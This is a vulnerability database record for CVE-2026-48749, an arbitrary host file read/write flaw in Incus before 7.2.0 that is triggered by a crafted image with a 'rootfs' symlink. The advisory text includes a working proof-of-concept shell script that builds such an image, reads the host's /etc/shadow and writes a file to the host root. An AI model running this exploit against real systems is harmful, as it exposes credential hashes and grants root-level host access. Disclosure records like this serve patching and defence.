{"id":"CVE-2026-48749","aliases":["CVE-2026-48749","GHSA-2q3f-q5pq-g8wv","GO-2026-5798"],"related":[],"kind":"vulnerability","state":"published","title":"Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image","summary":"Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 fixes the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 fixes the issue.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nA specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.\n\n\n### Details\n\nIncus validates an image as soon as it sees a normal `metadata.yaml` and a `rootfs/` entry, but full extraction can later process a duplicate top-level `rootfs` symlink. Later, the stopped-container file API opens `d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to it.\n\n```\nmetadata.yaml\nrootfs/\nrootfs -> /\n```\n\nIn practice, this allows a malicious actor to access the host's filesystem with root privileges.\n\n\n### PoC\n\nBelow, we map the container's rootfs to `/` on the host, but it can be mapped anywhere. We then retrieve the host's `/etc/shadow` file and create a file in `/`.\n\n```\n#!/bin/sh\nset -eu\n\ntmpdir=$(mktemp -d)\ncleanup() {\n    rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\nmkdir -p \"${tmpdir}/img/rootfs\"\ncat<<__EOF__>\"${tmpdir}/img/metadata.yaml\"\narchitecture: x86_64\ncreation_date: 1\nproperties:\n  description: PoC rootfs symlink host afrw\n__EOF__\n\ncd \"${tmpdir}/img\"\ntar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar\n\n# inject rootfs symlink\nrmdir rootfs\nln -s / rootfs\ntar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs\n\n\nincus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink\nincus init afrw-rootfs-symlink afrw-rootfs-symlink\n\n\n# read\nincus file pull afrw-rootfs-symlink/etc/shadow \"${tmpdir}/shadow\"\ncat \"${tmpdir}/shadow\"\n\n# write\nprintf 'afrw-rootfs-symlink\\n' >\"${tmpdir}/afrw-rootfs-symlink\"\nincus file push \"${tmpdir}/afrw-rootfs-symlink\" afrw-rootfs-symlink/\n```\n\n### Impact\n\nArbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image in github.com/lxc/incus","format":"markdown","source":"go"},{"lang":"es","text":"Incus es un gestor de contenedores de sistema y máquinas virtuales. Antes de la versión 7.2.0, una imagen especialmente diseñada puede ser utilizada para leer o crear/escribir archivos arbitrarios en el anfitrión; lo que podría llevar a la ejecución arbitraria de comandos. La versión 7.2.0 corrige el problema.","source":"nvd"}],"published":"2026-06-26T18:31:21.000Z","modified":"2026-11-06T10:57:01.029Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"rating":"CRITICAL"}],"cwes":["CWE-73"],"affected":[{"ranges":[{"version":"< 7.2.0","status":"affected"}],"vendor":"lxc","product":"incus","source":"cvelist"},{"ranges":[{"version":">= 4.0.0, < 4.0.11","status":"affected"},{"version":">= 5.0.0, < 5.0.7","status":"affected"},{"version":">= 5.1.0, < 5.21.5","status":"affected"},{"version":">= 6.0.0, < 6.9.0","status":"affected"}],"vendor":"canonical","product":"lxd","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"7.2.0"}],"ecosystem":"Go","package":"github.com/lxc/incus/v7/cmd/incusd","purl":"pkg:golang/github.com/lxc/incus/v7/cmd/incusd","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/lxc/incus","purl":"pkg:golang/github.com/lxc/incus","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/lxc/incus/v6","purl":"pkg:golang/github.com/lxc/incus/v6","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"7.2.0"}],"ecosystem":"Go","package":"github.com/lxc/incus/v7","purl":"pkg:golang/github.com/lxc/incus/v7","source":"go"}],"references":[{"url":"https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv","tags":["advisory","exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/canonical/lxd/security/advisories/GHSA-vghh-5rfx-xhq8","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48749","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/lxc/incus","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-08-21T15:37:05.354Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-48749","url":"https://www.cve.org/CVERecord?id=CVE-2026-48749","licence":"CVE Terms of Use","modified":"2026-11-05T23:20:29.105Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-2q3f-q5pq-g8wv","url":"https://github.com/advisories/GHSA-2q3f-q5pq-g8wv","licence":"CC-BY-4.0","modified":"2026-11-06T10:57:01.029Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5798","url":"https://pkg.go.dev/vuln/GO-2026-5798","licence":"CC-BY-4.0","modified":"2026-07-07T20:30:14.963Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-48749","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48749","licence":"Public domain","modified":"2026-11-06T01:17:49.197Z"}],"updatedAt":"2026-11-25T22:59:34.783Z","epss":{"score":0.01275,"percentile":0.70766,"date":"2026-12-01T12:00:22.000Z"}}